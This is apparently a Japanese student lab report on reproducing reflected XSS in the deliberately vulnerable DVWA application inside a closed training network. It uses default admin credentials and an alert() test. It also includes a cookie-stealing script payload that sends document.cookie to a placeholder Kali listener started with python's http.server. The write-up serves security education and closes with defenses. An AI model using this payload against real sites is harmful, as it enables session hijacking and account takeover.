Webアプリケーションテストのハンズオン ~Reflected XSS~
はじめに
本章では、第10回演習資料に基づき、DVWA(Damn Vulnerable Web Application)を用いた Reflected XSS(反射型クロスサイトスクリプティング)の検証についてまとめます。本演習の目的は、ユーザ入力がどのようにHTMLへ反映され、なぜJavaScriptが実行されてしまうのかを、実際の操作を通して体験的に理解することです。単に攻撃を再現するだけでなく、どの処理が脆弱性の原因になっているのかという技術的背景も意識しながら進めていきます。
目次
第1章:演習環境と前提条件
1.1 検証環境
本演習では、攻撃用端末としてKali Linux、脆弱なWebアプリケーションとしてOWASP-BWA(DVWA)を用いた閉域ネットワーク環境を使用しました。IPアドレスは環境ごとに異なるため、http://<OWASP-BWAのIPアドレス>/dvwa/ にブラウザからアクセスして対象環境を確認しました。
1.2 DVWAへのログイン
DVWAのログイン画面にアクセスし、次の認証情報でログインしました。
ユーザ名:admin
パスワード:admin
ログイン後、左側メニューから「XSS(Reflected)」を選択し、いよいよReflected XSSの検証を開始しましょう。
第2章:Reflected XSSの基本動作
まず、Firefoxから http://{OWASP-BWAのIPv4アドレス}/dvwa/login.php にアクセスし、ユーザ名 admin、パスワード admin でログインしました。ログイン後、左メニューから「XSS reflected」を選択します。
最初に、入力フォームへ任意の文字列(例:yuri)を入力して「Submit」をクリックしました。
すると、画面上には Hello yuri のように、入力値がそのまま画面に表示されました。この時点では、入力した文字列が単純にHTML内へ反映されているだけの状態であることが分かります。
次に、以下のように山括弧を含む文字列を入力しました。
<I am Yuri>
ここで、HTML内に入力値がそのまま埋め込まれていることを確認しました。入力値の扱われ方を確認できたことで、次の段階へのイメージがしやすくなりました。
第3章:スクリプト実行の確認
続いて、入力フォームへ次のスクリプトを入力しました。
Yuri <script>alert('XSS')</script>
送信すると、<script> タグ内の JavaScript がそのまま実行され、ブラウザ上にアラートダイアログが表示されました。実際にアラートが表示されたことで、入力した文字列が単なるテキストではなく、スクリプトとして解釈・実行されていることを体験的に確認できました。この挙動が、Reflected XSS 脆弱性の典型的な例であると理解できます。
第4章:Cookie情報送信の検証
4.1 攻撃者側サーバの準備
次に、攻撃者役となるKali Linux側で、次のコマンドを実行して簡易HTTPサーバを起動しました。
python3 -m http.server 8000
この操作により、tcp/8000 番ポートでHTTPサーバが待ち受け状態となりました。ここに被害者のCookieが送られてくる想定で検証を進めます。
4.2 Cookie送信スクリプトの入力
再びDVWAの入力フォームへ移動し、次のスクリプトを入力しました。
Yuri <script>document.write('<img src="http://{KaliのIPv4アドレス}:8000/' + document.cookie + '">');</script>
このスクリプトは、被害者のCookie情報をURLの末尾に付加した状態で、攻撃者側サーバへリクエストを送信するものです。
4.3 実行結果の確認
「Submit」をクリックすると、存在しないファイルへのGETリクエストが発行され、そのパス部分に被害者のCookie情報が含まれた状態でKali Linux側のHTTPサーバへアクセスが発生しました。Kali側のターミナルには、PHPSESSID および security の値を含むアクセスログが表示され、XSSを利用してCookie情報が第三者へ送信可能であることを目で確認できました。
第5章:技術的な本質
今回の演習を通して、Reflected XSSは次の条件が同時に満たされることで発生することが分かりました。
- 入力値がHTMLにそのまま埋め込まれていること
- 特殊文字に対するエスケープ処理が不十分であること
- ブラウザが入力値をスクリプトとして解釈できる位置に配置していること
単なるアラート表示にとどまらず、Cookie情報の送信まで実際に確認できたことで、XSSがセッションハイジャックやなりすまし攻撃に直結する実用的な攻撃手法であることを具体的に理解することができました。
第6章:まとめ
本演習を通して、Reflected XSSの基本構造とその危険性について段階的に確認することができました。特に、入力値の検証やエスケープ処理が不十分であるだけで、ユーザの認証情報が第三者へ送信されてしまう危険があることを、実際の操作を通して体感できた点は大きな学びでした。今後は、防御の観点から、入力値検証、出力エスケープ、CSPの導入などがどのように連携してXSS対策として機能するのかについても、さらに理解を深めていきたいと考えます。










